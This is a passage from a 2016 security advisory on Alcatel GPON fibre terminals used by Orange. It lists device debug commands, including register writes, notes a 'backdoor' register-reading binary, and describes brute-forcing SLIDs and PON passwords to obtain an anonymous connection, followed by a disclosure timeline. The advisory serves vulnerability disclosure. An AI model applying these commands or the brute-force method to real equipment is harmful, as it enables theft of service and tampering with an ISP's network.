show gpon sn
show firmware version
show gpon RSSI
show led
show uptime
show download status
show gpon ranging state
show gpon status
gpon dump
gpon rw 0
gpon rw 4
gpon rw 100
gpon rw 104
gpon ww 100 ff
gpon rw 3000
gpon rw 3004
gpon ww 3000 ff
gpon rw 3010
gpon rw 3014
gpon ww 3010 ff
gpon rw 0x4024
gpon rw 0x4030
gpon rw 0x4034
gpon rw 0x4038
gpon rw 0x403c
gpon rw 0x4040
gpon rw 0x4044
gpon rw 100 # ALARMS
gpon rw 110 # BIP errors
gpon rw 114 # ERRORED Frames
gpon rw 11c # OOF counters
gpon rw 118 # PSYNC error counters
gpon rw 120 # Kill traffic registers
gpon rw 124 # last bit traffic enable
[...]
You can have fun reversing Alcatel binaries :)
Having fun reversing the binaries is left as an exercise for the
reader :D
7.8. Reverse-engineering - Strange binary
user@kali:~$ grep -ai backdoor usr/freescale/bin/hld_test
This command is a backdoor to reading ONU MAC registers including bad addresses
NO COMMENT
8. Bruteforce
When SLIDs are PERMANENT, it seems to be trivial to bruteforce SLIDs
and PON passwords (/usr/alcatel/dbg_bin/spiusrtest -f ponpassword).
You can then authenticate yourself with PPP or, if it works, just by
getting a connection with DHCP.
When SLIDs are VOLATILE, just connecting to a FTTH located in a
basement will provide, in theory, the attacker with an anonymous
gigabit FTTH connection.
9. Conclusion
As we have seen earlier, in certain cases, the security provided by
GPON FTTH networks can be very bad.
I plan to publish a next article about FTTH and explain how a FTTH
connection works inside the ONT/ONU and how an attacker can
bruteforce SLIDs and PON passwords.
The possibilities of exploiting GPON FTTH networks are endless - that
is, having fast Internet connections at home and learning interesting
stuff ;)
10. Report Timeline
* 2013: 0day vulnerabilities found in ONTs by Pierre Kim,
reverse-engineering of ONTs and security analysis of GPON FTTH
* Feb, 2014: First draft written by Pierre Kim
* May 11, 2016: Pierre Kim sends a pre-advisory to Orange, the
biggest French ISP
* May 11, 2016: Orange confirms the reception of the documentation
* Jun 16, 2016: Pierre Kim asks Orange for update
* Jun 20, 2016: Orange confirms its work is in progress
* Jul 29, 2016: Pierre Kim asks Orange for update
* Sep 22, 2016: Pierre Kim asks Orange for update
* Sep 22, 2016: Orange says the work is still in progress to
evaluate the vulnerabilities
* Sep 29, 2016: Orange asks to have a conference call
* Sep 30, 2016: Pierre Kim asks Orange for update
* Oct 10, 2016: Orange says the work is still in progress
* Oct 22, 2016: Pierre Kim asks Orange for update and for a written
answer
* Oct 24, 2016: Pierre says he will disclose the information soon
because of lack of answers from Orange
* Oct 24, 2016: Orange asks for a new conference call
* Oct 26, 2016: Orange confirms the vulnerabilities
* Oct 26, 2016: Following the conference call with Orange, Pierre
Kim informs Orange he will release the research and asks Orange
for an official answer
* Nov 01, 2016: Public disclosure
11. Credits and Greetings
This research was done by Pierre Kim (@PierreKimSec).
I would like to thank my wife who endures my time-consuming passions
(maybe craziness is the correct term).
I would like to thank A, J and T (you know who you are :)
I would like to thank the LSE EPITA for providing me with a lot of
CPU power used to crack the hashed backdoor passwords found in the
ONT firmware.
12. License
This advisory is licensed under a Creative Commons Attribution
Non-Commercial Share-Alike 3.0 License: http://creativecommons.org/
licenses/by-nc-sa/3.0/
published on 2016-11-01 00:00:00 by Pierre Kim